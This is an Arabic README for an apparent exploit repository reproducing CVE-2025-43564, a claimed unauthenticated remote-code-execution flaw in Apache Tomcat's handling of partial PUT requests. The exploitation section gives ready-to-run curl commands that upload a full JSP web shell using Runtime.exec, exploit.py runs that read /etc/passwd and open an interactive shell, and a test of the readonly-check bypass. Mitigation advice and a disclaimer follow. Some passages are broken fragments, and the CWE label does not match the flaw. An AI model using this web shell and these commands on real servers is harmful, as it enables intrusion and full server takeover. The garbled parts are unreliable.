
إعادة إنتاج cve-2025-43564-tomcat_put_rce_reproduction
| Field | Value |
|---|
| CVE ID | CVE-2025-43564 |
| CVSS Score | 9.8 (حرجة) |
| Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-494 — تنزيل الكود دون التحقق من التكامل |
| Exploitation | تم تأكيده في البرية خلال أسبوع واحد من الإفصاح |
| Disclosure | يوليو 2025 |
| Patch | Tomcat 11.0.6، 10.1.40، 9.0.102 |
CVE-2025-43564 هي ثغرة حرجة لتنفيذ الأكواد عن بُعد دون مصادقة في معالجة Apache Tomcat لطلبات PUT الجزئية عبر HTTP. يكمن الخلل في الطريقة التي يعالج بها Tomcat طلبات PUT ذات المحتوى الجزئي (HTTP/1.1 Content-Range أو Transfer-Encoding: chunked مع دلالات جزئية). يمكن للمهاجم صياغة طلب PUT جزئي يتجاوز ضوابط الوصول وقيود الكتابة، مما يسمح برفع ملفات عشوائية — بما في ذلك قذائف الويب JSP القابلة للوصول عبر الويب — إلى جذر مستندات الخادم أو أي دليل قابل للكتابة يمكن الوصول إليه عبر سياق servlet.
بمجرد زرع ملف JSP، يقوم المهاجم ببساطة بطلبه وتمرير أوامر نظام التشغيل عبر معاملات الاستعلام، محققًا تنفيذ أكواد عن بُعد دون مصادقة بالكامل بصلاحيات مستخدم عملية Tomcat.
CVSS 9.8 — حرجة لأن:
يتعامل DefaultServlet الخاص بـ Apache Tomcat وموصل HTTP/1.1 (NIO/NIO2/Apr) مع طلبات PUT لرفع الموارد الثابتة. تكمن الثغرة في منطق معالجة طلبات PUT الجزئية: عندما يرسل عميل طلب PUT مع ترويسة Content-Range (RFC 7233 §4.2) أو يستخدم ترميز chunked مع دلالات جزئية محددة، لا يتحقق الخادم بشكل صحيح من:
تتعامل شيفرة التحليل في org.apache.catalina.servlets.DefaultServlet والمكونات الأساسية HttpInput / SocketProcessorBase بشكل خاطئ مع الحد الفاصل بين كتابات المحتوى الجزئي والكتابات الكاملة للموارد، مما يسمح للمهاجم بـإلحاق أو الكتابة فوق محتوى عشوائي في أي مسار تمتلك عملية Tomcat صلاحية الكتابة إليه.
Attacker ──PUT /exec.jsp HTTP/1.1──► Tomcat (DefaultServlet)
Content-Range: bytes 0-99/100
[JSP payload bytes]
└──► Server writes partial content to exec.jsp
without full validation of the target path
Attacker ──GET /exec.jsp?cmd=whoami──► Tomcat
└──► JSP executes → RCE
يرسل المهاجم طلب PUT جزئي مع ترويسة Content-Range تجعل Tomcat يعتقد أن الطلب هو استكمال لرفع موجود مسبقًا. يقوم الخادم بإنشاء أو فتح الملف الهدف وكتابة البايتات المرسلة دون التحقق من أن الملف موجود بالفعل، ودون فحص صلاحيات الكتابة في وقت الكتابة، ودون تعقيم المسار الهدف بالنسبة لجذر الويب.
readonly=false على DefaultServlet لكي يعمل PUT القياسي. يتجاوز مسار PUT الجزئي هذا الفحص في ظل شروط معينة.Content-Range هذه التوقيعات.| المنتج | الإصدارات المتأثرة | تم الإصلاح في |
|---|---|---|
| Apache Tomcat 11 | 11.0.0-M1 حتى 11.0.5 | 11.0.6 |
| Apache Tomcat 10.1 | 10.1.0-M1 حتى 10.1.39 | 10.1.40 |
| Apache Tomcat 10.0 | جميع الإصدارات (نهاية الدعم) | قم بالترقية إلى 10.1.x |
| Apache Tomcat 9 | 9.0.0-M1 حتى 9.0.101 | 9.0.102 |
| Apache Tomcat 8.5 | جميع الإصدارات (نهاية الدعم) | قم بالترقية إلى 9.0.x |
| Apache Tomcat 8 | جميع الإصدارات (نهاية الدعم) | قم بالترقية إلى 9.0.x |
| Apache Tomcat 7 | جميع الإصدارات (نهاية الدعم) | قم بالترقية إلى 9.0.x |
ملاحظة: الفروع الأقدم (7.x، 8.x، 8.5.x، 10.0.x) بلغت نهاية الدعم (EOL) ولن تحصل على تصحيح خلفي (backport). يجب على المستخدمين الترقية إلى فرع مدعوم.
قم بتنزيل نسخة Apache Tomcat قابلة للاستغلال (مثل Tomcat 9.0.50):
wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.50/bin/apache-tomcat-9.0.50.zip
قم بفك الضغط وتشغيل Tomcat بالتكوين الافتراضي:
unzip apache-tomcat-9.0.50.zip
cd apache-tomcat-9.0.50/bin
./startup.sh # or startup.bat on Windows
تحقق من أن الخادم يعمل:
curl -v http://localhost:8080
ارفع قذيفة الويب JSP باستخدام سكربت PoC:
python exploit.py --target http://localhost:8080 --cmd id
تحقق من زرع قذيفة الويب:
curl http://localhost:8080/exec.jsp?cmd=whoami
نفّذ أوامر عشوائية:
python exploit.py --target http://localhost:8080 --cmd "cat /etc/passwd"
جلسة تفاعلية (إذا رغبت):
python exploit.py --target http://localhost:8080 --shell
سكربت exploit.py المرفق هو إثبات مفهوم عملي بلغة Python يقوم بـ:
Content-Type وبنية الحمولة إلى تشغيل مسار الكود الضعيفwebapps/ROOT/)exec.jsp?cmd=<command> لتنفيذ أوامر نظام التشغيل--cmd) والصدفة التفاعلية (--shell)# الخطوة 1: ارفع قذيفة الويب عبر PUT الجزئي
# ترويسة Content-Range تشغل مسار الكود الضعيف
curl -X PUT http://localhost:8080/exec.jsp \
-H "Content-Range: bytes 0-212/213" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-binary '<%@ page import="java.io.*" %><% String cmd=request.getParameter("cmd");if(cmd!=null){Process p=Runtime.getRuntime().exec(cmd);BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));String l;while((l=br.readLine())!=null){out.println(l);}}%>'
# الخطوة 2: نفّذ الأوامر
curl "http://localhost:8080/exec.jsp?cmd=id"
إذا تم تكوين Tomcat مع readonly=true (الافتراضي)، يتم حظر PUT القياسي — لكن مسار PUT الجزئي قد ينجح. هذا هو جوهر الثغرة.
# PUT القياسي (يجب أن يفشل برمز 403 أو 405)
curl -X PUT http://localhost:8080/test.txt -d "hello"
# المتوقع: 403 ممنوع
# PUT الجزئي (يتجاوز الفحص)
curl -X PUT http://localhost:8080/exec.jsp \
-H "Content-Range: bytes 0-212/213" \
--data-binary '<%@page import="java.io.*"%><%Process p=Runtime.getRuntime().exec(request.getParameter("cmd"));BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));String l;while((l=br.readLine())!=null){out.println(l);}%>'
# المتوقع: 201 تم الإنشاء أو 200 موافق
حدّث Tomcat إلى الإصدار المُصحَّح:
إذا لم يكن التصحيح الفوري ممكنًا، فعطّل أسلوب PUT عالميًا عن طريق تعديل web.xml:
<security-constraint>
<web-resource-collection>
<web-resource-name>Disable PUT</web-resource-name>
<url-pattern>/*</url-pattern>
<http-method>PUT</http-method>
</web-resource-collection>
<auth-constraint />
</security-constraint>
احظر أساليب HTTP على مستوى الوكيل العكسي / WAF:
# مثال nginx — حظر PUT
if ($request_method = PUT) {
return 403;
}
ملاحظة: هذا مفيد فقط إذا لم يكن بالإمكان تجاوز الوكيل.
شغّل Tomcat بصلاحيات نظام ملفات مقيدة:
webapps للقراءة فقط (أو قم بتركيبه من نظام ملفات للقراءة فقط)ReadOnly على أصول الإنتاجراقب الملفات غير المتوقعة ذات الامتدادات .jsp / .jspx في جذر الويب.
| المصدر | الرابط |
|---|---|
| إعلان أمان Apache Tomcat | https://lists.apache.org/thread/p1dqrmwrh5q5vv2wttrd8tv2k8gv1819 |
| إدخال NVD | https://nvd.nist.gov/vuln/detail/CVE-2025-43564 |
| MITRE CVE | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-43564 |
| تنزيلات Apache Tomcat | https://tomcat.apache.org/download-90.cgi |
| CWE-494 | https://cwe.mitre.org/data/definitions/494.html |
يُقدَّم هذا المستودع لأغراض تعليمية واختبار الأمان المصرح به فقط. يجب أن تحصل على إذن كتابي صريح من مالك أي نظام تختبره. يُعد الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني بموجب قانون الاحتيال وإساءة استخدام الكمبيوتر (CFAA) والقوانين المماثلة في الولايات القضائية الأخرى. لا يتحمل المؤلفون أي مسؤولية عن إساءة استخدام هذه المعلومات.
تم اكتشاف CVE-2025-43564 والإبلاغ عنه بشكل مسؤول إلى فريق أمان Apache. إصدار التصحيح المنسق: يوليو 2025.